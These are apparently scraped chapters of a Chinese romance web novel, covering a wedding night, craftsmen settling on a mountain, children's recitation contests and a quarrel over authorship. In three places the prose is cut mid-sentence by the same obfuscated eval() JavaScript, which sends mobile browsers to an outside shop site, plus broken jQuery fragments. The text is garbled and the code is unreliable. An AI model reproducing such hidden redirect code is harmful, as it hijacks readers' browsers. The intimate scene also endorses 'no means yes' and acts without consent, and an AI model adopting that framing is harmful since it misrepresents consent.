他给的六字太羞杀,栖真死活不肯说。 风宿恒瞧她羞中带倔的神情就忍不住,撬开唇齿问她,不一会儿就把人亲得神魂颠倒,半阖着的眼中水雾迷蒙。 风宿恒爱极她被亲到迷惘的模样,等栖真回神,襟口早被扯开。 “你!”随着风宿恒拨弄,栖真啊一声,脸红到滴出血来。 那声“啊”带着颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281045|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和她平时说话声音全然不同,风宿恒俯身含住,直到身下人挣扎才停。 风宿恒虽无师自通,到底首次对一个女子这般,真怕弄痛她。 可怜见的!他懂很多东西,但对洞房这项,只局限于知道如何洞房而已。 若不出自实践,怎么让人爽这种事,哪个男人第一次能懂呢? 可他现下对栖真是捧在手心怕掉,含在嘴里怕化,生怕她受半点委屈,见她好像真地难受到要抗拒,心里也有些无措。 风宿恒吞咽,问:“真真,你到底喜欢还是不喜欢?” 他又在问喜不喜欢,哪来那么多必须要问的喜不喜欢?栖真虎着脸,用衣服遮住身前:“不喜欢!!” 风宿恒见她像是真地生气,心想难道刚才咬伤她了?满身躁动转为心疼:“我看看。” 看…… 看什么看…… 栖真见风宿恒面上担忧做不得伪,很着力,却没着在点子上,可这种事……让她怎么说呢? 她眼睫扑朔地看着面前人,只把衣襟捏紧了。 风宿恒到底是知机之人,她这么看过来,他心里就亮堂大半。 “那时候女人说不要就是要,说不喜欢就是喜欢!”想起袁博和倪煌那些混不吝的话,风宿恒瞬间醍醐灌顶。 “衣服湿了,不如……”他卷土重来,在栖真耳边蛊惑。 这次不等她首肯,也不用她说喜欢,直接反手握住她。 初时还见栖真左支右绌,稍时软成一摊水任他施为,而她的软便是最好的默许。 风宿恒扯掉最后的障碍物,在一声惊呼中固定她亟待遮掩的手。 帐内格子灯的亮光里,他想好好看看她,看他爱了一辈子的女人到底怎生模样。 现在他终于看到了。 这是一具堪为画纸的身体,可由他挥毫泼墨。 全然不敢和男人对视,栖真羞赧地闭眼,大有就义的凛然,抖得好生可怜。 风宿恒轻轻安抚,帐中立时响起隐忍喘息。 他给予的每一个动作,栖真都会给出反馈,那种反馈大大愉悦了他。风宿恒开始一门心思讨好、奖励、取悦她。 她为他受过多少苦,他快数不过来。 可心里是一一记着的。 咬腕撒血的苦! 一箭穿心的痛! 被兵殴打的伤! 还有这次,她到底跑了多久回去见重离? 他们走了两日的路程,她是怎么一个人跑回去的? 整整两日在洞中,她和重离不可能只说那几句话,那么其他时间她在做什么? 她出来什么都不说,他便没追问。 因为她不说,他就不再问。 可风宿恒信她才是不懂她。 她若一瘸一拐、浑身酸疼地出来,反而不让人多想。因为那才是正常。 可她完好无损地出现在他面前,风宿恒倏忽就懂了。 他是修炼之人,一眼便知这是重伤修复后的状态。 身体虽然康复,遭的罪还滞留在不正常的面色和唇色上。 心痛! 痛极! 如果他可以用自己的唇,自己的手,为栖真带来些许快乐,他便给予,绝不吝啬。 她为他付出那么多,让她多一刻沉醉也是好的。 所以他亲着揉着,时刻探究和记忆栖真每一个反应。哪里加重力道会让她喘得更响,允吸还是亲吻更让人情难自禁。 后来风宿恒明白了,男欢女爱真是世上独一份,它建立在某种超越正常的力度上。他喜欢的程度,其实她也喜欢。 当然,事后栖真绝不会承认。 因为没有哪个女人会承认,布满痕迹的上身究竟给她带来多少满足。 155. 第 155 章 翌日,当栖真看到随祁南英工匠队上山的许氏夫妇时,很想大叫偶买噶! 至僻静处两人要行礼,栖真不肯受。 许子鉴道:“沙漠一别灵鸢不知多内疚,主母不受,她晚上都睡不着。” 栖真只好受礼,问他们怎会跟祁南英上山。聂灵鸢笑道:“现下我可是他家邻里,他那工匠队干活行,日常理账没人弄,他见我俩帮得上忙,就让我们帮忙管管。” 一支装修队,进料出料加人工,还有工地上吃喝拉撒睡都要有人统筹。祁南英过去是统领,自然有人搞定这些。如今出来单干,这些事物被他管得一塌糊涂,是以见着凑上来的邻家有这能耐,索性雇来帮佣。 等许氏夫妇回去山顶,栖真斜睨身边的风宿恒:“最后一雕,出其不意啊。” 风宿恒抬眉,抛出个色色的眼神:“哪一雕都出其不意。” 栖真瞪他半天:“你变坏了!” “真真不坏?”风宿恒好笑:“不坏怎知我坏?” 行,说不过你。 两人在林间走,栖真道:“你早想把灵鸢弄上山。” “就是要他们常住,这里不能没有自己人,万一我不在时你要传信呢,万一你再出点事呢?” 栖真笑了。 风宿恒一走,那种被全世界抛弃的焦虑她确实不想再体会一次,聂灵鸢的到来不知给她多少安全感。 “怎么想到让他们混在祁南英的队伍里?” “人心隔肚皮,人前一套人后一套都是常见,把他们放别人堆儿里能获得更多讯息。”风宿恒走得慢,总不想出树林:“我的大老板,用人之道你该比我懂。” “勾心斗角我不会。”栖真讪讪道:“我坦诚以待,管好易郄他们三个就行。” “舍不得你懂。”快要出林子了,风宿恒趁机撸把她的后脑勺:“真真管好我一个足矣。” 临了又叮嘱一句:“和灵鸢就当初识,平常相处即可。” 祁南英带了三十个匠人上山,一半原就是他手下,都是之前皇工队和红火铺的兄弟,一听找到了大神官和神官长,个个激动得不行。若非祁南英叮嘱他们不可对外透露,只怕上山就要跪拜。为着路途遥远不便回家,有家室的索性拖儿带口一起来,方便干活。 还有一半人是祁南英临时雇的,清一色猿臂狼腰精壮小伙,干体力活不在话下。 所以拉拉杂杂,这次上山的足有四十八口人。 聂灵鸢超强的组织能力立现端倪。 她穿得像个烧饭大娘,嗓门却大得像个将军,指挥先上山的一批人卸东西、搭帐子、造凉棚,茅厕浴间灶台地方全规划出来,然后立刻指挥人起火烧饭,为午膳做准备,剩下的人力则拨去帮柳絮回他们扛帐搬家。 见祁南英将指挥权交给聂灵鸢,对她的安排并不指手画脚,反而带着两人去山里勘探,栖真放下心,心想灵鸢果然厉害!那么短时间就拿捏住祁南英。 而她和风宿恒也没闲着,也跟着下山帮忙搬家。 这便见到了久不露面的大神官容伯舒和常璐。 不是说住一起那么久一面都没见过,但容伯舒行动不便,每日躺于帐中,很少出来。而疯癫的常璐过去都是慕容照顾,自慕容产子,大家忙都忙不过来,只好将人拴在帐里。 此时容伯舒披着大氅罩住头面,由容绽背上去。而常璐面黄肌瘦,眼神痴呆,被絮回牵手带上山。 反正他们身份曝了光,栖真就直接问慕容常璐怎么疯的。慕容出了月子,抱着孩子也能走走。栖真对她诸多恩情,慕容一点不对栖真设防,当下便告之实情。 原来璞丽山中围剿那次,常璐亲见同伴被人抓住扔进烹锅,受了莫大的刺激,从此神志不清。 而那个被烹了的人,就是阿陶的老婆。 蓝心。 午后,剩下的工匠押着采买的砖石来了。不一会儿,风宿恒着人运来的三大车粮米油盐也到了。 他看着人搬东西,嘱咐把马牵到营地空处喂养,马车则拴在山脚,便和乔装的袁博走远,嘱咐事情。 袁博见风宿恒面带焦虑,问他怎么了。风宿恒一脑门官司:“栖真知道她以前的侍女被人烹了,躲起来哭呢,还朝我扔石头。” 之前就是袁博去查的九部相,他一听便知怎么回事,也不知怎么劝了,只好道:“再给她个人呗,颜心都等好久了。” 风宿恒却问起:“倪煌算过工期没,永嘉还要多久完工?” “问过了。”袁博道:“照现在进度,半年收尾。” 风宿恒踢着戈壁上的碎石:“跟钟雄说,三个月内把人调来。” 这一桩,是风宿恒回来后着意吩咐的。 没修永嘉前,大荒流是大容最好的天然拱卫。永嘉一通,等于把大容国境线直接往西拓展到戈壁。所以风宿恒一早就提,得把守军分出一支屯在戈壁,驻守永嘉道入口。 一开始钟雄和袁博还在私下议论,大荒流以西是辛丰,难道陛下还怕辛丰攻打大容?后来他们才想明白,主子这招只怕不是防辛丰,而是为栖真。 从地图上看,栖真所在的大山以南,离永嘉道入口也就五里地。在此屯兵,说风宿恒一点没有私心,谁信? 但在戈壁驻兵不是说说这么简单。这里缺水源,大风频繁,各方环境都艰难。一个月来钟雄还在派人反复勘探,看这兵到底怎么屯。 “说起驻兵……把陛下去世的消息放出去后,果然各路宵小都出洞了。那个大神王打着‘替神行道,复我大容’的旗号,在串联各路反军。”袁博道:“前日消息传到朝上,钟将军想直接出兵剿灭,尚相却主张再看看。” “山贼草寇,也配称王!”风宿恒哼了一声:“可薪是对的,把消息放出去是为了钓大鱼,你回去让钟雄莫心急,先摸清大神王来头再说。” 他今日心思不在这里,草草结束对话回山去。 到山顶一看,聂灵鸢确实照他吩咐行事,山巅比想象中井然有条。 匠人分成几拨,正在搭灶台、茅厕和浴间,东边一排凉棚堆放运上来的砖石,西边一排简易棚屋堆放粮食和好些大水缸。南边,山道以左是他们重新搭好的毡帐群;山道往右,大大小小五花八门的帐子,全是工匠队的。中间偌大地方全空出来,备开工之用。 山头人多出不少,但风宿恒还是一眼看到了栖真。 她没什么表情,正跟容绽坐一桌,继续每日一课。 今日教的是《定风波》。 听三个小儿郎朗读书声:“莫听穿林打叶声,何妨吟啸且徐行。竹杖芒鞋轻胜马,谁怕?一蓑烟雨任平生。料峭春风吹酒醒,微冷,山头斜照却相迎。回首向来萧瑟处,归去,也无风雨也无晴。” 容绽提笔写完,便让孩子们开始临帖,转首问起道:“又是……?” 栖真道:“对!” 容绽道:“同一个?” 栖真道:“对!” 容绽一哂:“这位世外高人文采绝顶不说,写得还极富世理。” 栖真落寞道:“人生风雨无常,活下来的自当珍惜。” 容绽顿了顿,伸手,扶住桌边:“栖真今日心情欠佳?” “没有。”栖真帮孩子们磨墨:“古圣先贤都能笑对困厄,不过念了先人之作,有感而发而已。” 这时身边期期艾艾围过来两个小孩,看栾乐他们写大字,凑头问:“在写什么呀?” 钟情继续写,不理人。栾乐欢快地一抬头:“我们写词呢,很难的!” 两个小孩站在边上看,满脸好奇。 栖真问他们:“你们这次一共来了几个小朋友啊?” 其中一个憨憨的小男孩掰着指头数:“我、阿岳、狗子、三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292266|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃、还有……还有……” 另一个机灵地补充:“还有小花子和小木匠。” “一共几个呀?”栖真问。 小憨憨叫:“五个,五个!” 小机灵拍他肚皮:“咱俩不算那?七个!”又对栖真道:“我是大当家家里的,我叫祁鸿儒。” “鸿儒?哪两个字?”栖真问。 祁鸿儒看着十岁出头,眉眼伶俐,眼角间距大,和他爹祁南英一个样。当下用手沾清水,在桌角写下“鸿儒”两字,字形还过得去。 栖真对容绽道:“‘谈笑有鸿儒,往来无白丁’的鸿儒来了!” 祁鸿儒笑拍身边憨憨的头:“他是白霆。” 栖真说:“我是说白丁。” 祁鸿儒:“对对,就是他,他就叫白霆。”又对憨憨白霆道:“以后叫你白丁啦!” 鸿儒跟白丁自夸:“看,这些字我都认得,何方今肃且徐行……一袁烟雨任平生……斗肖春风吹酒星……你认识几个?” 敢情这位鸿儒小弟念字只念半边的? 白丁看了半天:“听……叶……嗯冷,还有山头无风雨……” 钟情觉得他们站边上烦,白了他们一眼:“走开,吵着人写字了。” 白丁字不识几个,脾气倒不小:“怎么吵着你写字了?会写几个字了不起?” 栾音把笔一放,站起来:“说什么你?就了不起了怎么的!” 容绽道:“阿音!” 栾音扁扁嘴,不说话了。 可这头按下了那头不放过,白丁瞧着憨,脾气却爆:“识字了不起?有种跟小爷干一架!看谁的拳头硬!” 话没说完呢,脸上就中一拳头。 钟情一拳打在他眼眶上。 这下别说白丁,栖真都惊讶,没想到脾气最暴的居然是平时总冷脸的小姑娘钟情。 大庭广众被小姑娘打,白丁哪能受这个气,推了她一把,一下把人惯地上了。 他一动手,栾乐和栾音唰一下扑上去把他压地上打:“叫你欺负人啊!拳头见真章是吧?揍你!” 鸿儒死命大吼:“来人啊!”也扑上去打栾家兄弟。 那几个阿岳、狗子、三娃就在附近游走,一看有干架,箭一样跑来加入混战。 地上立时打成一片,栖真拉都拉不住。 最后还是风宿恒怕小孩子拳脚无眼伤了人,一一拉开。可拉开这对那个还打,拉开那对这对儿又推。风宿恒拿笔在地上画了两个大圈,把栾音栾乐钟情扔这圈,把剩下的扔那圈,吼了一声:“谁出一步,哪队就输!” 好嘛,这下两队人马都老实了! 除嘴上挑衅,无人敢出圈一步,生怕真输。 栖真被风宿恒的神操作逗笑了。索性拿起容绽写的字帖,给两队一抖:“骂什么!白长了张嘴,就拿来骂人了?来比个输赢,哪队先背出哪队赢!” 白丁急得跳脚:“让我们背?我们字都不识!做啥要背?” 栾音指着对面嘲笑:“就说你们字都不识,一看就没长张背得出的脸。” 鸿儒也指:“呸,谁说我们不识字,背给你们看!” 栾乐幸灾乐祸拍手:“背啊,背啊,你们背啊!” 栖真对鸿儒他们道:“蓝队嘲笑你们红队呢,来,我教你们背。” 钟情冷着脸:“不行!那张纸得给蓝队!我们要背!” 容绽终于放心坐下:“再给你们写一张。” 这天傍晚祁南英带人勘探回来,发现儿子居然伙同一群小的在极认真地……背诗。 他惊地下巴掉下来。 这小子上私塾念书不是招猫逗狗就是欺负夫子,最后被赶出来。原想在家给他单独找夫子,怎奈束脩太高延请不起。 可才到山上不过半日,臭小子转性了? 都背起书了? 156. 第 156 章 这次拖家带口的一共有八户,五户都有孩子。 七个孩子里最小的小花子,只有五岁,最大的就是白丁,也才十二。原本男人干活,女人烧饭缝补管小的,不会给工地添麻烦。没想到第一天两边孩子就干上架,武斗变文斗,谁都不服输。 晚膳前栖真只说给大家加个菜,拖了两拨人,一一站到大伙儿面前背。 大人们一面吃一面看,见小的们个个神情严肃,背诗背的活像生死之战,都憋笑不止。 尤其那些有孩子的双亲,想自家崽大字不识一个,如今居然在那么多人面前背诗……虽听不懂他们在背什么,可那模样能咂摸出点读书人样子了。 别说憋笑,听完都快憋泪了。 等两方背完,栖真举起一张白纸,一条中线将纸面分两边。左面头上写着蓝队,右面写着红队。 “今日两队都在一个时辰里顺利完成任务,没一个队员掉链子,每个人都给力。所以今天两队各加十分。你们想分胜负,明天愿不愿意接受新的挑战?” 蓝队慷慨激昂:“谁认输谁是狗!明天见真章!” 红队义愤填膺:“我们怕你个球!明儿走着瞧!” 互射了无数个白眼,各自吃饭去。 台上火药味越足,台下看客越开心。 不经此事,栖真的美貌让祁南英还有些不敢接近,此时却有理由找她致谢:“真有你的!真有你的!啊,小姐是……?” 边上的柳絮回介绍栖真,最后道:“她是……” 栖真一揽絮回肩膀:“合伙人。” “合伙人?”祁南英和柳絮回都疑惑地看她。 “对啊!”栖真笑得眉眼弯弯:“就是合伙一起做生意,一起赚钱的合伙人啊。” 柳絮回忍笑,也回勾栖真肩膀:“对啊,合伙人。” 晚膳后,聂灵鸢召集众人宣讲作息和分工。 从明日起,辰时早膳,辰时一刻开工;午时半集中午膳,中间有半个时辰休息,至未时半开工,直到晚上亥时。一日三餐和浣洗皆由八位嫂夫人负责,每日挑水烧水则要麻烦主家的几位公子。若需下山采买或林间伐木,提前一日告知,会给大家准备馒头食水。若身体不适,山上有大夫,随时可以诊脉开药。 她又指西边搭建出来已经上锁的临时仓库,明确所有日常所需、每日用粮、缺啥少啥,都报到她这边统一领取,严禁不告自取。发现一次结工钱当场走人。至于工钱,每十日发放一次,也全数由她这边支取。 最后强调一句,山上多女眷,各位小伙老爷们千万别冲撞,把心思放在正事上。 她不卑不亢,一项项条分缕析,说得清清楚楚。 祁南英的人早试过聂灵鸢的管,对比过去祁哥脚踩西瓜皮,滑到哪里是哪里,人去了工地吃喝拉撒全随意的风格,如今不知幸福多少,全无后顾之忧了。 而那些首次随祁哥干活的小伙们也觉得新鲜,觉得这群人有东西,认真担责,该是不会拖欠工钱的当家。 所以聂灵鸢说完,各个大叫:“听灵大婶的!” “灵嫂说什么就是什么!” 聂灵鸢对下呸一声:“什么嫂什么婶,让你们叫声姐都显我老!” 众人哄堂大笑,纷纷叫灵姐。 她说完又轮到祁南英说。 祁南英舒坦,从没这么舒坦过。他觉得天上掉馅饼,怎么就给他找着聂灵这么厉害的女人。 有她在,什么人管不了?什么活不能接? 有她在,他就不用去管那些让他头痛的工匠日常,只要把精神头放在自己擅长的营造上,那可真是开心地要冒泡了。 这便挑灯夜战,给大家从地皮的规划讲到营建的步骤,从如何取材讲到人工的分配,虽讲得颠三倒四,无甚条理,怎奈他兴奋啊!重复讲,多讲点,倒也把那些东西讲明白了。 他们在这边讲营建,很多东西絮回诸人听不懂,知道个大概便召集自己人回去开小会。 最后商定,鉴于现在开销大,从明日起,絮回和慕容什么都不沾,脱手出来刺绣,争取多出绣品,多赚银子。 英迈和山遥负责砍柴、带孩子、看好常璐。阑珊还是照顾两位殿下。典叔、成校、阿陶负责食水,换句话说每日挑水、烧水、泡水都是他们。从喝的到洗的,都归他们管。 至于董未,除山上众人他得看顾,还肩负尽快下山找新茶馆开新堂子、找书馆将《梁祝》付梓的重任。反正收银洽谈都得他去,要坐堂赚堂银也随他——只要他还有空暇。 董未听完哀嚎,眼巴巴瞅着风宿恒。后者自然接一句,没事,山下那摊事有我帮你,这才让董未破涕为笑。 栖真听完祁南英讲解,发现絮回这边也商定得差不多了,她回来就听了个尾巴。等人散,找容绽商量道:“若书能付梓,进项会更多。我们可以出梁祝,出西游记,后面还有好多好多书,一本本出。” 栖真原本想跟他在原地说话,谁知容绽提议走走,两人便在草甸上散起步。栖真见他如履平地,忍不住问:“阿绽,你是否多少看得见一些?否则怎会走得那么……” “不像个瞎子?”容绽道。 栖真笑。 “看不见。”容绽道:“你不会撞上东西。听着你的声音,保持和你的距离,我便能走。” 换句话说,此刻她的声音就是他的规尺。 栖真忙帮他看着点路:“我是想说,咱们得给书起个出版方名。” 她是想着像磨铁、读库那样,给每本他们出的书起个出品方的名儿,做个读书品牌的IP。 容绽猜她说的出版方大概是笔者的意思,便道:“是谁写的,就署谁的名。” 栖真抓耳挠腮:“这些故事……嗯……也是那个世外高人写的,高人嘛,你知道的,都是不愿暴露姓名的,所以我们自己署名就行了。” 谁知容绽严肃道:“既是别人大作,怎能署我们的名?” 栖真一时哑口,碰着眼里融不进沙的清心寂神,她都不知怎么忽悠了。 “阿绽,我保证。”栖真道:“我们署名上去,绝不会有人来追究。” 容绽道:“你先前说梁祝是你家乡的传说,这会儿又说是高人写的,到底是哪个?” 栖真…… 一急她都忘了这茬。 或许来找容绽商量起名就是多此一举,自己起个,让人下山付梓时加上去不就得了,何必和容绽在这里较真呢,这么一想,便道:“是我家乡的高人写的。行,都听你的。” 谁知容绽站定不走了。 有人提着格子灯来来去去;远处茅厕和浴间外不少人排队唠嗑;更远处,理帐子的,说事儿的,孩子又笑又闹跑来跑去的,偌大山巅比之前人气得多。 可容绽一停步,身上的人气就没了,他沉下脸。 栖真意识到他要说什么,心头一声哀嚎,别啊! 果听容绽道:“是我欠考虑了。这些故事即出自有名有姓的文人之手,我们便不能拿来卖钱。” “不拿来卖钱?”栖真急了:“人都上山了,明天就要开工了,不拿来卖钱,我们怎么办?” 钱,就是最现实的问题。 我想帮你们出,可你肯吗?絮回肯吗? 谁想容绽较真道:“不行。” 栖真就差举手发誓:“阿绽,我跟你保证,天不知地不知。” 容绽脸色更差,掉头就走。 栖真追上去:“阿绽!” 容绽竟能在她面前及时站定,轻声道:“你知我知。”说完又要走。 栖真生怕他回去真跟絮回说这生意不做了,那她一番心血岂非打水漂。 “别别别走。”栖真拉他袖子:“听我说……” 容绽只好再次站定,他知道自己衣袖被拉住,可也没抽回来,只是道:“你说。” 栖真深深深呼吸,踌躇着说不出口。 容绽等着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305762|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半天没听对方吱声,只好又道了一声:“说啊。” 栖真终于脱口:“是我写的,都是我写的!” 说这话时,栖真愧到脸颊发烫,心里的小人人穷拜了。 古圣先贤们,对不起对不起对不起,剽窃你们大作,是我恬不知耻! 面上,栖真索性把心一横:“梁祝和西游记是我写的,诫子书、陋室铭、定风波也是我写的。你根本不用担心署名问题,我说署什么名就署什么名。” 谁知容绽听闻,静了片刻道:“那三篇文不像出自同一人手。《诫子书》该是一位老父劝勉子嗣勤学立志,从淡泊宁静中修身养性,偏静戒躁,你没孩子,怎会去写什么诫子家训?而写《陋室铭》者,内心强大到超凡脱俗、不以凡尘为限,不以得失为杵。《定风波》,更是非历经坎坷而至了悟、非看透世情而至通达之人不能写就,怎么可能是你写的呢?” 他徐徐道来,把栖真羞到无地自容。 栖真承认自己不懂古文。 过去上学,她就对诗词歌赋这些东西不感冒,怎么学都不懂作品好在哪儿,让她背诵更是一场灾难。 幸亏在重离那儿得了获取知识的捷径,她才想借诗托意,将那些无法宣之于口的歉意和安慰借诗词、借教孩子向容绽表达。 她看了那本文集里的赏析部分,选的都是励志向上的、带有积极意义的作品。 这些文字千古流传,自然是因为文中感化人心的力量影响一代又一代人,她相信容绽读后一定会有所启发,对如今落魄的境遇生出些释怀和豁达。 谁知她想劝他看开,他却把她看穿。 容绽那番话,摆明就是说她资历浅、阅历不够,不至于达到超凡脱俗、了悟通达的境界,更没有淡泊宁静的品性,所以不可能写出这样的文章。 偏偏,对! 他特么说得都对! 可栖真就是觉得委屈死了。 没想到用以劝慰容绽的诗,他居然掉过头拿来说她的不是;她没想到自己心心念念想帮他们赚钱,一番筹谋居然被容绽的清高扔在地上摩擦。 她今晚脑子抽了吗? 为啥非把署不署名的事捅给容绽知道呢? 现下他一表态,她到底该继续狡辩文是自己写的,还是索性放弃、承认撒谎?是当今晚的事没发生过,从此绕过容绽搞文化输出,还是想办法说服他继续走这条路? 一时间,栖真也不知怎么办好了。 容绽完全没贬低人的意思,他就是说下三篇文给他的感觉,可一说完对面一片死寂,他徒然意识到自己造次。 正想开口澄清,便听对面传来极隐忍的一声鼻吸。 容绽一吓,怎么了?不由吞咽道:“我没……” 不想听他用手术刀般冷静的语气说事了,一点没错!她就是远没到超凡脱俗的境界,才会被两句话激得情绪失控。 栖真拂袖而去。 容绽听声音远去,像被定身般动弹不得。 上次她也被山遥气跑过,可那时两人好歹还一通吼,怎么轮到他,她就一言不发,直接被气跑呢? 容绽一时脑中纷杂,什么声音都有。 就在他心烦意乱时,那声音又跑回来,回到他身边,道:“我陪你回去。” 是想起他适才说的,要依靠她话音认路的事吗?所以她发现自己一跑,他就失了规尺,只能做个真正的瞎子待在原地? 容绽随之往回走,听栖真说:“阿绽,今晚大家都有点累,你先别和人说生意不做之类的话,我们明天再议好吗?” 容绽想,她大概是气到想一走了之的,回来,只是为了维护一个瞎子可怜的自尊。 他想解释,或随便说点什么,可不知出于何种原因,居然一路都没开口。 直到被送回营地,交给阑珊为止。 然后她走了。 那一晚无论容绽怎么听,都没在营地里捕捉到半点栖真的声音。 157. 第 157 章 风宿恒今晚没想带栖真出来的。 可看着她和容绽散步,看着他们争执,看到她回来后表情都不对了,他就忍不住了。 抓了人直接去山下营地。 说是营地,其实早搬空了,如今只栓了马,堆着草料。 风宿恒在石头上坐下,抱栖真坐他腿上,帮她擦眼泪:“我家小公主又遇到什么伤心事了?” 他不温柔还好,一温柔栖真就抱着他哭。 白天得知蓝心的事已然让她伤心欲绝,晚上对着容绽,那种愧疚和无力感又被激发。 风宿恒见栖真哭成这样本该感同身受,可又有点好笑,莫名觉得像老父亲抱着委屈的女儿缓声宽慰。 面上却不敢表露,只一下下轻拍她背。 风宿恒的怀抱又暖又安全,抱哭半天,栖真顶着哭腔道:“我觉得自己、不是好人,觉得自己、遭透了,把珍宝打个稀碎,还要怪碎渣子、不好看。” “啊,你也觉得自己不是好人?”风宿恒难得眉飞色舞:“太好了,咱俩正好一对儿!” 栖真:“…” “我哪里、哪里不是好人了?”她扁扁嘴又要哭了。 风宿恒哭笑不得:“你觉得自己挺好,就别哭了嘛。” 栖真哭得更甚,也不知要说自己好还是不好,抑或这情绪来的到底是不是围着她好还是不好都忘了。 但奇异的,从大哭转小哭,从小哭转抽泣,从抽泣到彻底平静,脑里就通透起来。 纠结什么呢,这就不是个值得纠结的问题好吗? 容绽过去就是谪仙般的人,难得千帆尽过,身上还保有诚意的品性和坚持,她难道不该欣喜?她要做的不就是保护好他的纯澈,让他变回那个谪仙吗? 而她最不缺的就是赚钱的点子,容绽介意,她再想别的法子不就好了? 想明白这些倍感轻松,栖真破涕为笑:“你真好。” 是啊,风宿恒自己都认同这句话——看她为别的男人伤心,他还能憋着不行于色。 不能让栖真觉得自己时刻盯着她不放,不想栖真因为自己表现出哪怕一点点介意,再不敢和别人正常说话。她已经失去最大自由,在这座山上,他不能让她再有半点不自由。 况且寻求认同乃人之常情,栖真也一样,只是平时不太露于表面,但风宿恒自认比以前更懂她,至少比去驼暮山那会儿更甚。 拇指拨弄她耳垂,抱了良久,临回山顶前风宿恒顾左右而言它:“真真,你送人那么多好词,一首没送过我呢。” 来日一早,山巅如火如荼开工了。 先要整地,把要造房子的片儿规划出来。山上风大,筑基要深。是以祁南英打算前三日赶一赶,尽快把地整出来。 风宿恒又是天未亮下的山,入沙漠待到午时才回,接了袁博送来的东西,吃了丹,回山上让人搬。 阑珊见他推到面前的木质轮椅时差点喜极而泣。轮椅很大,稳,推起来少许费力,但推动一点没有问题。靠背、坐处和扶手上垫着厚实的棉垫,包着鹿皮。很气派,瞧着像一架移动的王座。 同样惊喜的还有英迈,因为小宝儿终于有了新摇篮,他抱小孩儿抱得手快断了。 风宿恒又返身让人把般上来的圆桌架起,一个放到方桌边,剩下五个放到膳区。 看着一点点变好的山巅,他越发体会栖真说的开荒的乐趣。 栖真坐在桌边,和远处忙碌的风宿恒相视一笑,转首对容绽道:“阿绽,我想过了,世上能赚钱的法子多了去,你若不想……” 容绽听人说话素来耐心,不会轻易打断,此刻却抢着道:“你说的名,想一个吧。” “啊?”栖真没跟上他的趟。 容绽道:“按你的意思办。” “可是……”不过一晚,他态度怎么变那么快?栖真窥探他的眉眼:“阿绽,你怎么……?” 容绽确实想了一晚上。 物是人非,落拓至此,他凭什么清高?心里再不想图这便宜,毕竟还有一大家子要养活,他废人一个本就拖累,怎能再给人添堵。 过去的洛尘,就让他死了吧。 容绽扯了下嘴角,道:“既然是你写就,便没什么好担心。不过赚得钱,可不能像你跟絮回说的三七了,我就代个笔,没道理我们占大头。” 栖真………… 她是不是刚从一个坑里出来,就掉进另一个?还都是她自己挖的。 想给他们塞钱,怎么就这么难呢。 她还在愣怔,便听容绽道:“起个威风些的名号吧,就像这山住久了,也得给它起个名。” 栖真道:“你觉得什么名儿好?” 容绽想了想:“听说此地山峰林立,不如叫百刃山?” “叫百刃不够威风,万仞怎么样?”栖真道,忽然觉得“万仞山”有点耳熟,想了半天,好像小包子背过的。 “黄沙远上白云间,一片孤城万仞山。” “应景!”容绽抚掌:“你想个名号吧,叫万仞山什么?” 栖真起名废,想破脑袋都没想出来。 于是转眼看山顶。 两日前这里还是荒芜山头,毫无生气,如今热火朝天,到处洋溢着对未来的憧憬。再看絮回她们,各凭本事创造生活,孩子们也是打着赌往死里学。这里是荒,但每个人在此都有发展,未来,就会拥有无限可能。 每个人,都有可能…… 栖真一拍脑袋:“可能宫!就叫‘万仞山可能宫’!” 容绽玩味着‘可能宫’三个字,笑道:“那你就是可能宫宫主。” 栖真对他一抱拳:“承让承让,你也是宫主,容宫主。” 两人笑得收不住,都觉玩笑开得有点大,但好玩,真得好玩。 “以后我们出的东西,都盖上‘万仞山可能宫’的字样,瞧上去先声夺人。”栖真笑道:“别人看了,还以为是什么神秘的江湖帮派,就觉得厉害厉害,老厉害了!” 旁人不知这两人在笑什么,但笑这东西会传染,于是风宿恒笑,柳絮回笑,慕容烟月笑,英迈阑珊典叔他们做着手里的事,都抑不住唇角。 栖真和容绽倒没注意旁人,他们已经开启新的话题。 栖真确实想请教容绽,大容蒙学到底学些什么:“我是想既然要教孩子们,就得有章法,有进阶,认真地教。小朋友童年宝贵,他们受的教育会决定他们的未来。” 原本他们这群人只求活着,根本没精力考虑什么孩子的未来。如今过上安稳日子,很多事确实该上些心,可容绽道:“我幼时由师父教导,主要是学文学乐学礼和修炼。民间稚子以何启蒙,惭愧,我竟从未探究过。” 于是栖真只好问边上写大字的鸿蒙白丁他们,学堂里夫子教什么呀?然后就听鸿蒙数落一通夫子教的东西多无聊,学不学一个样。 栖真……… 晚膳后拿这问题问风宿恒,就听他道:“我就学自己想学的,学对找到你有帮助的。” 栖真……… 